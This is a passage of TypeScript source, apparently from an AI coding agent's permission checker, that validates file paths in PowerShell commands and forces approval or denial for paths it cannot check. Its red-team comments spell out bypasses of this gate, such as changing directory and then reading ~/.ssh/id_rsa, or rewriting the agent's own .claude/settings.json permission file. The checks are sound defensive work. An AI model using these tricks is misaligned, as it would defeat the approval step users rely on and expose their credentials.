// excluded: the sandbox allowlist always seeds '.' (cwd), which would
|
||
// bypass the acceptEdits gate at step 3.
|
||
if (
|
||
operationType !== 'read' &&
|
||
!isInWorkingDir &&
|
||
isPathInSandboxWriteAllowlist(resolvedPath)
|
||
) {
|
||
return {
|
||
allowed: true,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason: 'Path is in sandbox write allowlist',
|
||
},
|
||
}
|
||
}
|
||
|
||
// 4. Check allow rules
|
||
const allowRule = matchingRuleForInput(
|
||
resolvedPath,
|
||
context,
|
||
permissionType,
|
||
'allow',
|
||
)
|
||
if (allowRule !== null) {
|
||
return {
|
||
allowed: true,
|
||
decisionReason: { type: 'rule', rule: allowRule },
|
||
}
|
||
}
|
||
|
||
// 5. Path is not allowed
|
||
return { allowed: false }
|
||
}
|
||
|
||
/**
|
||
* Best-effort deny check for paths obscured by :: or backtick syntax.
|
||
* ONLY checks deny rules — never auto-allows. If the stripped guess
|
||
* doesn't match a deny rule, we fall through to ask as before.
|
||
*/
|
||
function checkDenyRuleForGuessedPath(
|
||
strippedPath: string,
|
||
cwd: string,
|
||
toolPermissionContext: ToolPermissionContext,
|
||
operationType: FileOperationType,
|
||
): { resolvedPath: string; rule: PermissionRule } | null {
|
||
// Red-team P7: null bytes make expandPath throw. Pre-existing but
|
||
// defend here since we're introducing a new call path.
|
||
if (!strippedPath || strippedPath.includes('\0')) return null
|
||
// Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
|
||
// on leading ~ — the backtick was in front of it. Re-run here.
|
||
const tildeExpanded = expandTilde(strippedPath)
|
||
const abs = isAbsolute(tildeExpanded)
|
||
? tildeExpanded
|
||
: resolve(cwd, tildeExpanded)
|
||
const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
|
||
const permissionType = operationType === 'read' ? 'read' : 'edit'
|
||
const denyRule = matchingRuleForInput(
|
||
resolvedPath,
|
||
toolPermissionContext,
|
||
permissionType,
|
||
'deny',
|
||
)
|
||
return denyRule ? { resolvedPath, rule: denyRule } : null
|
||
}
|
||
|
||
/**
|
||
* Validates a file system path, handling tilde expansion.
|
||
*/
|
||
function validatePath(
|
||
filePath: string,
|
||
cwd: string,
|
||
toolPermissionContext: ToolPermissionContext,
|
||
operationType: FileOperationType,
|
||
): ResolvedPathCheckResult {
|
||
// Remove surrounding quotes if present
|
||
const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
|
||
|
||
// SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
|
||
// platforms, but path.resolve on Linux/Mac treats them as literal characters.
|
||
// Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
|
||
// are correctly detected.
|
||
const normalizedPath = cleanPath.replace(/\\/g, '/')
|
||
|
||
// SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
|
||
// many positions (e.g., `/ === /) but defeats Node.js path checks like
|
||
// isAbsolute(). Redirection targets use raw .Extent.Text which preserves
|
||
// backtick escapes. Treat any path containing a backtick as unvalidatable.
|
||
if (normalizedPath.includes('`')) {
|
||
// Red-team P3: backtick is already resolved for StringConstant args
|
||
// (parser uses .value); this guard primarily fires for redirection
|
||
// targets which use raw .Extent.Text. Strip is a no-op for most special
|
||
// escapes (`n → n) but that's fine — wrong guess → no deny match →
|
||
// falls to ask.
|
||
const backtickStripped = normalizedPath.replace(/`/g, '')
|
||
const denyHit = checkDenyRuleForGuessedPath(
|
||
backtickStripped,
|
||
cwd,
|
||
toolPermissionContext,
|
||
operationType,
|
||
)
|
||
if (denyHit) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: denyHit.resolvedPath,
|
||
decisionReason: { type: 'rule', rule: denyHit.rule },
|
||
}
|
||
}
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'Backtick escape characters in paths cannot be statically validated and require manual approval',
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Block module-qualified provider paths. PowerShell allows
|
||
// `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
|
||
// `/etc/passwd` via the FileSystem provider. The `::` is the provider
|
||
// path separator and doesn't match the simple `^[a-z]{2,}:` regex.
|
||
if (normalizedPath.includes('::')) {
|
||
// Strip everything up to and including the first :: — handles both
|
||
// FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
|
||
// Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve
|
||
// makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask.
|
||
// Safe.
|
||
const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
|
||
const denyHit = checkDenyRuleForGuessedPath(
|
||
afterProvider,
|
||
cwd,
|
||
toolPermissionContext,
|
||
operationType,
|
||
)
|
||
if (denyHit) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: denyHit.resolvedPath,
|
||
decisionReason: { type: 'rule', rule: denyHit.rule },
|
||
}
|
||
}
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Block UNC paths — they can trigger network requests and
|
||
// leak NTLM/Kerberos credentials
|
||
if (
|
||
normalizedPath.startsWith('//') ||
|
||
/DavWWWRoot/i.test(normalizedPath) ||
|
||
/@SSL@/i.test(normalizedPath)
|
||
) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'UNC paths are blocked because they can trigger network requests and credential leakage',
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Reject paths containing shell expansion syntax
|
||
if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason: 'Variable expansion syntax in paths requires manual approval',
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
|
||
// These paths access non-filesystem resources and must require manual approval.
|
||
// This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
|
||
//
|
||
// Platform split (findings #21/#28):
|
||
// - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
|
||
// pass through to path.win32.isAbsolute/resolve which handle them correctly.
|
||
// - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive
|
||
// paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
|
||
// then `Get-Content Z:/secrets` would otherwise resolve via
|
||
// path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd →
|
||
// allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
|
||
// filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
|
||
// POSIX as unvalidatable.
|
||
// Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
|
||
// creates drive `1:` — a valid PSDrive path prefix.
|
||
// Windows regex requires 2+ chars to exclude single-letter native drive letters
|
||
// (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
|
||
// PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+`
|
||
// missed those since `a1` is neither pure letters nor pure digits.
|
||
const providerPathRegex =
|
||
getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
|
||
if (providerPathRegex.test(normalizedPath)) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Block glob patterns in write/create operations
|
||
if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
|
||
if (operationType === 'write' || operationType === 'create') {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath: normalizedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'Glob patterns are not allowed in write operations. Please specify an exact file path.',
|
||
},
|
||
}
|
||
}
|
||
|
||
// For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
|
||
// resolve the full path (including glob chars) and validate that resolved path.
|
||
// This catches patterns that escape the working directory via `..` after the glob.
|
||
if (containsPathTraversal(normalizedPath)) {
|
||
const absolutePath = isAbsolute(normalizedPath)
|
||
? normalizedPath
|
||
: resolve(cwd, normalizedPath)
|
||
const { resolvedPath, isCanonical } = safeResolvePath(
|
||
getFsImplementation(),
|
||
absolutePath,
|
||
)
|
||
const result = isPathAllowed(
|
||
resolvedPath,
|
||
toolPermissionContext,
|
||
operationType,
|
||
isCanonical ? [resolvedPath] : undefined,
|
||
)
|
||
return {
|
||
allowed: result.allowed,
|
||
resolvedPath,
|
||
decisionReason: result.decisionReason,
|
||
}
|
||
}
|
||
|
||
// SECURITY (finding #15): Glob patterns for read operations cannot be
|
||
// statically validated. getGlobBaseDirectory returns the directory before
|
||
// the first glob char; only that base is realpathed. Anything matched by
|
||
// the glob (including symlinks) is never examined. Example:
|
||
// /project/*/passwd with symlink /project/link → /etc
|
||
// Base dir is /project (allowed), but runtime expands * to 'link' and
|
||
// reads /etc/passwd. We cannot validate symlinks inside glob expansion
|
||
// without actually expanding the glob (requires filesystem access and
|
||
// still races with attacker creating symlinks post-validation).
|
||
//
|
||
// Still check deny rules on the base directory so explicit Read(/project/**)
|
||
// deny rules fire. If no deny matches, force ask.
|
||
const basePath = getGlobBaseDirectory(normalizedPath)
|
||
const absoluteBasePath = isAbsolute(basePath)
|
||
? basePath
|
||
: resolve(cwd, basePath)
|
||
const { resolvedPath } = safeResolvePath(
|
||
getFsImplementation(),
|
||
absoluteBasePath,
|
||
)
|
||
const permissionType = operationType === 'read' ? 'read' : 'edit'
|
||
const denyRule = matchingRuleForInput(
|
||
resolvedPath,
|
||
toolPermissionContext,
|
||
permissionType,
|
||
'deny',
|
||
)
|
||
if (denyRule !== null) {
|
||
return {
|
||
allowed: false,
|
||
resolvedPath,
|
||
decisionReason: { type: 'rule', rule: denyRule },
|
||
}
|
||
}
|
||
return {
|
||
allowed: false,
|
||
resolvedPath,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.',
|
||
},
|
||
}
|
||
}
|
||
|
||
// Resolve path
|
||
const absolutePath = isAbsolute(normalizedPath)
|
||
? normalizedPath
|
||
: resolve(cwd, normalizedPath)
|
||
const { resolvedPath, isCanonical } = safeResolvePath(
|
||
getFsImplementation(),
|
||
absolutePath,
|
||
)
|
||
|
||
const result = isPathAllowed(
|
||
resolvedPath,
|
||
toolPermissionContext,
|
||
operationType,
|
||
isCanonical ? [resolvedPath] : undefined,
|
||
)
|
||
return {
|
||
allowed: result.allowed,
|
||
resolvedPath,
|
||
decisionReason: result.decisionReason,
|
||
}
|
||
}
|
||
|
||
function getGlobBaseDirectory(filePath: string): string {
|
||
const globMatch = filePath.match(GLOB_PATTERN_REGEX)
|
||
if (!globMatch || globMatch.index === undefined) {
|
||
return filePath
|
||
}
|
||
const beforeGlob = filePath.substring(0, globMatch.index)
|
||
const lastSepIndex = Math.max(
|
||
beforeGlob.lastIndexOf('/'),
|
||
beforeGlob.lastIndexOf('\\'),
|
||
)
|
||
if (lastSepIndex === -1) return '.'
|
||
return beforeGlob.substring(0, lastSepIndex + 1) || '/'
|
||
}
|
||
|
||
/**
|
||
* Element types that are safe to extract as literal path strings.
|
||
*
|
||
* Only element types with statically-known string values are safe for path
|
||
* extraction. Variable and ExpandableString have runtime-determined values —
|
||
* even though they're defended downstream ($ detection in validatePath's
|
||
* `includes('$')` check, and the hasExpandableStrings security flag), excluding
|
||
* them here is defense-in-direct: fail-safe at the earliest gate rather than
|
||
* relying on downstream checks to catch them.
|
||
*
|
||
* Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
|
||
* 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
|
||
* and must force an ask.
|
||
*/
|
||
const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
|
||
|
||
/**
|
||
* Extract file paths from a parsed PowerShell command element.
|
||
* Uses the AST args to find positional and named path parameters.
|
||
*
|
||
* If any path argument has a complex elementType (e.g., array literal,
|
||
* subexpression) that cannot be statically validated, sets
|
||
* hasUnvalidatablePathArg so the caller can force an ask.
|
||
*/
|
||
function extractPathsFromCommand(cmd: ParsedCommandElement): {
|
||
paths: string[]
|
||
operationType: FileOperationType
|
||
hasUnvalidatablePathArg: boolean
|
||
optionalWrite: boolean
|
||
} {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
const config = CMDLET_PATH_CONFIG[canonical]
|
||
|
||
if (!config) {
|
||
return {
|
||
paths: [],
|
||
operationType: 'read',
|
||
hasUnvalidatablePathArg: false,
|
||
optionalWrite: false,
|
||
}
|
||
}
|
||
|
||
// Build per-cmdlet known-param sets, merging in common parameters.
|
||
const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
|
||
const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
|
||
|
||
const paths: string[] = []
|
||
const args = cmd.args
|
||
// elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
|
||
const elementTypes = cmd.elementTypes
|
||
let hasUnvalidatablePathArg = false
|
||
let positionalsSeen = 0
|
||
const positionalSkip = config.positionalSkip ?? 0
|
||
|
||
function checkArgElementType(argIdx: number): void {
|
||
if (!elementTypes) return
|
||
const et = elementTypes[argIdx + 1]
|
||
if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
|
||
hasUnvalidatablePathArg = true
|
||
}
|
||
}
|
||
|
||
// Extract named parameter values (e.g., -Path "C:\foo")
|
||
for (let i = 0; i < args.length; i++) {
|
||
const arg = args[i]
|
||
if (!arg) continue
|
||
|
||
// Check if this arg is a parameter name.
|
||
// SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
|
||
// accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
|
||
// prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
|
||
// parser maps CommandParameterAst → 'Parameter' regardless of dash char.
|
||
// isPowerShellParameter also correctly rejects quoted "-Include"
|
||
// (StringConstant, not a parameter).
|
||
const argElementType = elementTypes ? elementTypes[i + 1] : undefined
|
||
if (isPowerShellParameter(arg, argElementType)) {
|
||
// Handle colon syntax: -Path:C:\secret
|
||
// Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
|
||
const normalized = '-' + arg.slice(1)
|
||
const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
|
||
const paramName =
|
||
colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
|
||
const paramLower = paramName.toLowerCase()
|
||
|
||
if (matchesParam(paramLower, config.pathParams)) {
|
||
// Known path parameter — extract its value as a path.
|
||
let value: string | undefined
|
||
if (colonIdx > 0) {
|
||
// Colon syntax: -Path:value — the whole thing is one element.
|
||
// SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
|
||
// produce ArrayLiteralExpressionAst inside the CommandParameterAst.
|
||
// PowerShell writes to ALL paths, but we see a single string.
|
||
const rawValue = arg.substring(colonIdx + 1)
|
||
if (hasComplexColonValue(rawValue)) {
|
||
hasUnvalidatablePathArg = true
|
||
} else {
|
||
value = rawValue
|
||
}
|
||
} else {
|
||
// Standard syntax: -Path value
|
||
const nextVal = args[i + 1]
|
||
const nextType = elementTypes ? elementTypes[i + 2] : undefined
|
||
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
|
||
value = nextVal
|
||
checkArgElementType(i + 1)
|
||
i++ // Skip the value
|
||
}
|
||
}
|
||
if (value) {
|
||
paths.push(value)
|
||
}
|
||
} else if (
|
||
config.leafOnlyPathParams &&
|
||
matchesParam(paramLower, config.leafOnlyPathParams)
|
||
) {
|
||
// Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
|
||
// this relative to ANOTHER parameter (-Path), not cwd. validatePath
|
||
// resolves against cwd (L930), so non-leaf values (separators,
|
||
// traversal) resolve to the WRONG location and can miss deny rules
|
||
// (deny→ask downgrade). Extract simple leaf filenames; flag anything
|
||
// path-like.
|
||
let value: string | undefined
|
||
if (colonIdx > 0) {
|
||
const rawValue = arg.substring(colonIdx + 1)
|
||
if (hasComplexColonValue(rawValue)) {
|
||
hasUnvalidatablePathArg = true
|
||
} else {
|
||
value = rawValue
|
||
}
|
||
} else {
|
||
const nextVal = args[i + 1]
|
||
const nextType = elementTypes ? elementTypes[i + 2] : undefined
|
||
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
|
||
value = nextVal
|
||
checkArgElementType(i + 1)
|
||
i++
|
||
}
|
||
}
|
||
if (value !== undefined) {
|
||
if (
|
||
value.includes('/') ||
|
||
value.includes('\\') ||
|
||
value === '.' ||
|
||
value === '..'
|
||
) {
|
||
// Non-leaf: separators or traversal. Can't resolve correctly
|
||
// without joining against -Path. Force ask.
|
||
hasUnvalidatablePathArg = true
|
||
} else {
|
||
// Simple leaf: extract. Resolves to cwd/leaf (slightly wrong —
|
||
// should be <-Path>/leaf) but -Path extraction covers the
|
||
// directory, and a leaf filename can't traverse out of anywhere.
|
||
paths.push(value)
|
||
}
|
||
}
|
||
} else if (matchesParam(paramLower, switchParams)) {
|
||
// Known switch parameter — takes no value, do NOT consume next arg.
|
||
// (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
|
||
// in one token and correctly falls through here without consuming.)
|
||
} else if (matchesParam(paramLower, valueParams)) {
|
||
// Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
|
||
// Consume its value; do NOT validate as path, but DO check elementType.
|
||
// SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
|
||
// argument position means the runtime value is not statically knowable.
|
||
// Without this check, `-Value $env:SECRET` would be silently auto-allowed
|
||
// in acceptEdits mode because the Variable elementType was never examined.
|
||
if (colonIdx > 0) {
|
||
// Colon syntax: -Value:$env:FOO — the value is embedded in the token.
|
||
// The outer CommandParameterAst 'Parameter' type masks the inner
|
||
// expression type. Check for expression markers that indicate a
|
||
// non-static value (mirrors pathParams colon-syntax guards).
|
||
const rawValue = arg.substring(colonIdx + 1)
|
||
if (hasComplexColonValue(rawValue)) {
|
||
hasUnvalidatablePathArg = true
|
||
}
|
||
} else {
|
||
const nextArg = args[i + 1]
|
||
const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
|
||
if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
|
||
checkArgElementType(i + 1)
|
||
i++ // Skip the parameter's value
|
||
}
|
||
}
|
||
} else {
|
||
// Unknown parameter — we do not understand this invocation.
|
||
// SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
|
||
// whack-a-mole. Rather than guess whether this param is a switch
|
||
// (and risk swallowing a positional path) or takes a value (and
|
||
// risk the same), we flag the whole command as unvalidatable.
|
||
// The caller will force an ask.
|
||
hasUnvalidatablePathArg = true
|
||
// SECURITY: Even though we don't recognize this param, if it uses
|
||
// colon syntax (-UnknownParam:/etc/hosts) the bound value might be
|
||
// a filesystem path. Extract it into paths[] so deny-rule matching
|
||
// still runs. Without this, the value is trapped inside the single
|
||
// token and paths=[] means deny rules are never consulted —
|
||
// downgrading deny to ask. This is defense-in-depth: the primary
|
||
// fix is adding all known aliases to pathParams above.
|
||
if (colonIdx > 0) {
|
||
const rawValue = arg.substring(colonIdx + 1)
|
||
if (!hasComplexColonValue(rawValue)) {
|
||
paths.push(rawValue)
|
||
}
|
||
}
|
||
// Continue the loop so we still extract any recognizable paths
|
||
// (useful for the ask message), but the flag ensures overall 'ask'.
|
||
}
|
||
continue
|
||
}
|
||
|
||
// Positional arguments: extract as paths (e.g., Get-Content file.txt)
|
||
// The first positional arg is typically the source path.
|
||
// Skip leading positionals that are non-path values (e.g., iwr's -Uri).
|
||
if (positionalsSeen < positionalSkip) {
|
||
positionalsSeen++
|
||
continue
|
||
}
|
||
positionalsSeen++
|
||
checkArgElementType(i)
|
||
paths.push(arg)
|
||
}
|
||
|
||
return {
|
||
paths,
|
||
operationType: config.operationType,
|
||
hasUnvalidatablePathArg,
|
||
optionalWrite: config.optionalWrite ?? false,
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Checks path constraints for PowerShell commands.
|
||
* Extracts file paths from the parsed AST and validates they are
|
||
* within allowed directories.
|
||
*
|
||
* @param compoundCommandHasCd - Whether the full compound command contains a
|
||
* cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
|
||
* excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
|
||
* statement cannot be trusted — PowerShell executes statements sequentially
|
||
* and a cd in statement N changes the cwd for statement N+1, but this
|
||
* validator resolves all paths against the stale Node process cwd.
|
||
* BashTool parity (BashTool/pathValidation.ts:630-655).
|
||
*
|
||
* @returns
|
||
* - 'ask' if any path command tries to access outside allowed directories
|
||
* - 'deny' if a deny rule explicitly blocks the path
|
||
* - 'passthrough' if no path commands were found or all paths are valid
|
||
*/
|
||
export function checkPathConstraints(
|
||
input: { command: string },
|
||
parsed: ParsedPowerShellCommand,
|
||
toolPermissionContext: ToolPermissionContext,
|
||
compoundCommandHasCd = false,
|
||
): PermissionResult {
|
||
if (!parsed.valid) {
|
||
return {
|
||
behavior: 'passthrough',
|
||
message: 'Cannot validate paths for unparsed command',
|
||
}
|
||
}
|
||
|
||
// SECURITY: Two-pass approach — check ALL statements/paths so deny rules
|
||
// always take precedence over ask. Without this, an ask on statement 1
|
||
// could return before checking statement 2 for deny rules, letting the
|
||
// user approve a command that includes a denied path.
|
||
let firstAsk: PermissionResult | undefined
|
||
|
||
for (const statement of parsed.statements) {
|
||
const result = checkPathConstraintsForStatement(
|
||
statement,
|
||
toolPermissionContext,
|
||
compoundCommandHasCd,
|
||
)
|
||
if (result.behavior === 'deny') {
|
||
return result
|
||
}
|
||
if (result.behavior === 'ask' && !firstAsk) {
|
||
firstAsk = result
|
||
}
|
||
}
|
||
|
||
return (
|
||
firstAsk ?? {
|
||
behavior: 'passthrough',
|
||
message: 'All path constraints validated successfully',
|
||
}
|
||
)
|
||
}
|
||
|
||
function checkPathConstraintsForStatement(
|
||
statement: ParsedPowerShellCommand['statements'][number],
|
||
toolPermissionContext: ToolPermissionContext,
|
||
compoundCommandHasCd = false,
|
||
): PermissionResult {
|
||
const cwd = getCwd()
|
||
let firstAsk: PermissionResult | undefined
|
||
|
||
// SECURITY: BashTool parity — block path operations in compound commands
|
||
// containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
|
||
//
|
||
// When the compound contains Set-Location/Push-Location/Pop-Location/
|
||
// New-PSDrive, relative paths in later statements resolve against the
|
||
// CHANGED cwd at runtime, but this validator resolves them against the
|
||
// STALE getCwd() snapshot. Example attack (finding #3):
|
||
// Set-Location ./.claude; Set-Content ./settings.json '...'
|
||
// Validator sees ./settings.json → /project/settings.json (not a config file).
|
||
// Runtime writes /project/.claude/settings.json (Claude's permission config).
|
||
//
|
||
// ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
|
||
// — after `Set-Location ./.claude`, validate subsequent statements with
|
||
// cwd='./.claude'. This would be more permissive but requires careful
|
||
// handling of:
|
||
// - Push-Location/Pop-Location stack semantics
|
||
// - Set-Location with no args (→ home on some platforms)
|
||
// - New-PSDrive root mapping (arbitrary filesystem root)
|
||
// - Conditional/loop statements where cd may or may not execute
|
||
// - Error cases where the cd target can't be statically determined
|
||
// For now we take the conservative approach of requiring manual approval.
|
||
//
|
||
// Unlike BashTool which gates on `operationType !== 'read'`, we also block
|
||
// READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
|
||
// Read(~/.ssh/**) deny rules because the validator matched the deny against
|
||
// /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
|
||
// writes destroy it. We still run deny-rule matching below (via firstAsk,
|
||
// not early return) so explicit deny rules on the stale-resolved path are
|
||
// honored — deny > ask in the caller's reduce.
|
||
if (compoundCommandHasCd) {
|
||
firstAsk = {
|
||
behavior: 'ask',
|
||
message:
|
||
'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval',
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason:
|
||
'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass',
|
||
},
|
||
}
|
||
}
|
||
|
||
// SECURITY: Track whether this statement contains a non-CommandAst pipeline
|
||
// element (string literal, variable, array expression). PowerShell pipes
|
||
// these values to downstream cmdlets, often binding to -Path. Example:
|
||
// `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path,
|
||
// but Remove-Item has no explicit args so extractPathsFromCommand returns
|
||
// zero paths and the command would passthrough. If ANY downstream cmdlet
|
||
// appears alongside an expression source, we force an ask — the piped
|
||
// path is unvalidatable regardless of operation type (reads leak data;
|
||
// writes destroy it).
|
||
let hasExpressionPipelineSource = false
|
||
// Track the non-CommandAst element's text for deny-rule guessing (finding #23).
|
||
// `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[]
|
||
// from extractPathsFromCommand, so the deny loop below never iterates. We
|
||
// feed the pipeline-source text through checkDenyRuleForGuessedPath so
|
||
// explicit Edit(.git/**) deny rules still fire.
|
||
let pipelineSourceText: string | undefined
|
||
|
||
for (const cmd of statement.commands) {
|
||
if (cmd.elementType !== 'CommandAst') {
|
||
hasExpressionPipelineSource = true
|
||
pipelineSourceText = cmd.text
|
||
continue
|
||
}
|
||
|
||
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
|
||
extractPathsFromCommand(cmd)
|
||
|
||
// SECURITY: Cmdlet receiving piped path from expression source.
|
||
// `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths
|
||
// (no explicit args). The path comes from the pipeline, which we cannot
|
||
// statically validate. Previously exempted reads (`operationType !== 'read'`),
|
||
// but that was a bypass (review comment 2885739292): reads from
|
||
// unvalidatable paths are still a security risk. Ask regardless of op type.
|
||
if (hasExpressionPipelineSource) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
// SECURITY (finding #23): Before falling back to ask, check if the
|
||
// pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
|
||
// Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
|
||
// Strip surrounding quotes (string literals are quoted in .text) and
|
||
// feed through the same deny-guess helper used for ::/backtick paths.
|
||
if (pipelineSourceText !== undefined) {
|
||
const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
|
||
const denyHit = checkDenyRuleForGuessedPath(
|
||
stripped,
|
||
cwd,
|
||
toolPermissionContext,
|
||
operationType,
|
||
)
|
||
if (denyHit) {
|
||
return {
|
||
behavior: 'deny',
|
||
message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
|
||
decisionReason: { type: 'rule', rule: denyHit.rule },
|
||
}
|
||
}
|
||
}
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
|
||
}
|
||
// Don't continue — fall through to path loop so deny rules on
|
||
// extracted paths are still checked.
|
||
}
|
||
|
||
// SECURITY: Array literals, subexpressions, and other complex
|
||
// argument types cannot be statically validated. An array literal
|
||
// like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
|
||
// element whose combined text may resolve within CWD while
|
||
// PowerShell actually writes to ALL paths in the array.
|
||
if (hasUnvalidatablePathArg) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
|
||
}
|
||
// Don't continue — fall through to path loop so deny rules on
|
||
// extracted paths are still checked.
|
||
}
|
||
|
||
// SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
|
||
// Either (a) the cmdlet has no args at all (`Remove-Item` alone —
|
||
// PowerShell will error, but we shouldn't optimistically assume that), or
|
||
// (b) we failed to recognize the path among the args (shouldn't happen
|
||
// with the unknown-param fail-safe, but defense-in-depth). Conservative:
|
||
// write operation with no validated target → ask.
|
||
// Read cmdlets and pop-location (pathParams: []) are exempt.
|
||
// optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
|
||
// -OutFile) are ALSO exempt — they only write to disk when a pathParam is
|
||
// present; without one, output goes to the pipeline. The
|
||
// hasUnvalidatablePathArg check above already covers unknown-param cases.
|
||
if (
|
||
operationType !== 'read' &&
|
||
!optionalWrite &&
|
||
paths.length === 0 &&
|
||
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
|
||
) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
|
||
}
|
||
continue
|
||
}
|
||
|
||
// SECURITY: bash-parity hard-deny for removal cmdlets on
|
||
// system-critical paths. BashTool has isDangerousRemovalPath which
|
||
// hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
|
||
// Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical)
|
||
// on a dangerous path → deny (not ask). User cannot approve system32 deletion.
|
||
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
|
||
|
||
for (const filePath of paths) {
|
||
